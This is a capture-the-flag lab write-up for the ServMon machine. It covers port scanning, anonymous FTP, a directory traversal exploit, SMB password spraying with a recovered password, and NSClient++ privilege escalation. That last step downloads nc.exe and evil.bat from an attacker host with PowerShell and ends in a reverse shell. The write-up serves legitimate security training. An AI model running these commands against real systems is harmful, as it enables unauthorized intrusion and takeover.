ServMon

Enumeration

As usual, we start with an nmap scan, in order to find open ports in the target machine.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.184 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

As we see, there are a lot of ports open. Let's try to obtain more information about the service and version running on those ports. The following command will scan the previous ports more in depth and save the result into a file:

nmap -sC -sV -p21,22,80,135,139,445,5666,6063,6699,8443,14116,23890,25426,29627,36396,44382,49664,49665,49666,49667,49668,49669,49670,54265,57900 10.10.10.184 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

Nmap reported that anonymous login is accepted on the FTP server, let's see what's inside.

ftp 10.10.10.184

Let's go to the Users directory.

ftp> cd Users

If we take a look at the Nadine folder, we'll see the Confidential.txt file, let's transfer it to our local machine.

ftp> cd Nadine

On the other hand, if we take a look at the Nathan directory, we'll see the Notes to do.txt file, let's also transfer it to our current machine.

ftp> cd Nathan

If we take a look at the Confidential.txt file, we'll see a message from Nadine to Nathan saying that there is a file in C:\Users\Nathan\Desktop\Passwords.txt which contains passwords.

cat Confidential.txt

And if we take a look at the Notes to do.txt file, we'll see a to-do list, which says that the passwords file hasn't been removed yet.

cat Notes\ to\ do.txt

Now that we have some valid users, let's put them in a file.

nano users

Exploitation

Let's take a look at the website.

It is a NVMS-1000 login page. Let's search for commons exploits associated to that service.

searchsploit nvms

If we take a look at the first one, we'll see that we can list files of the machine with a directory path traversal.

searchsploit -x hardware/webapps/47774.txt

  • -x examine the exploit.

We could try to list the content of the Passwords.txt file on the nathan user desktop. Let's open BurpSuite, intercept a request, send it to the repeater, and make a GET request to the following URL.

Now that we have a list of passwords, let's put them in a file.

nano passwds

Now, we could try to log in to the SMB server with each password of the passwds file with each user of the users file.

crackmapexec smb 10.10.10.184 -u users -p passwds --continue-on-success

  • -u users file.

  • -p passwords file.

  • ---continue-on-success continues authentication attempts even after successes.

And we see that the user nadine has the L1k3B1gBut7s@W0rk password. Let's get into the machine via SSH. Then we could grab the user flag.

sshpass -p 'L1k3B1gBut7s@W0rk' ssh nadine@10.10.10.184

Privilege Escalation

If we take a look at the nmap report, we'll see that port 8443 is open, let's take a look at it.

If we search for common exploits of nsclient, we'll see there is one for privilege escalation.

searchsploit nsclient

Let's take a look at it.

searchsploit -x windows/local/46802.txt

  • -x examine the exploit.

Let's go step by step doing what it says. First, we have to go to C:\Program Files\NSClient++ and take a look at the nsclient.ini file.

nadine@SERVMON C:\Program Files\NSClient++>type nsclient.ini

Next, we'll have to log in into the web page with the password we just got.

But we get rejected. If we take a look at the nsclient.ini file again, we'll see that the 127.0.0.1 is the only host allowed.

nadine@SERVMON C:\Program Files\NSClient++>type nsclient.ini

We can use a tunnel with SSH, from our localhost on port 8443, to the ServMon machine on port 8443.

sshpass -p 'L1k3B1gBut7s@W0rk' ssh nadine@10.10.10.184 -L 8443:127.0.0.1:8443

If now we go to https://localhost:8443, and log in with the password, we'll get in.

Next step, enable the CheckExternalScripts and Scheduler modules. If we go to the Modules section, we'll see that both are already enabled.

Next step, transfer nc.exe and evil.bat files to the victim machine.

The evil.bat file will send us a reverse shell when executed.

Let's set an HTTP server with python on the directory where these files are.

python -m http.server 80

Now let's go to the root, create the temp directory, and go inside it.

cd \

mkdir temp

cd temp

Then download both binaries from our local machine.

powershell -c "wget http://10.10.14.19/evil.bat -outfile evil.bat"

powershell -c "wget http://10.10.14.19/nc.exe -outfile nc.exe"

dir

Next step, let's set a netcat listener on port 4444.

rlwrap nc -lvnp 4444

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

Next step, go to the Settings section, then External Scripts, then Scripts and create a new script with the following content.

Then hit Add, and then go to Changes, and hit the Save configuration button.

And then click on Control, and Reload.

Once it finishes reloading, go to https://localhost:8443/index.html, and log in again with the password.

Then in the Queries section, we should see a query named like our script.

Click on it, go to the Run tab, and hit the Run button.

Then, we should get a reverse shell, and all we have to do is reap the harvest and take the root flag.

Last updated

Was this helpful?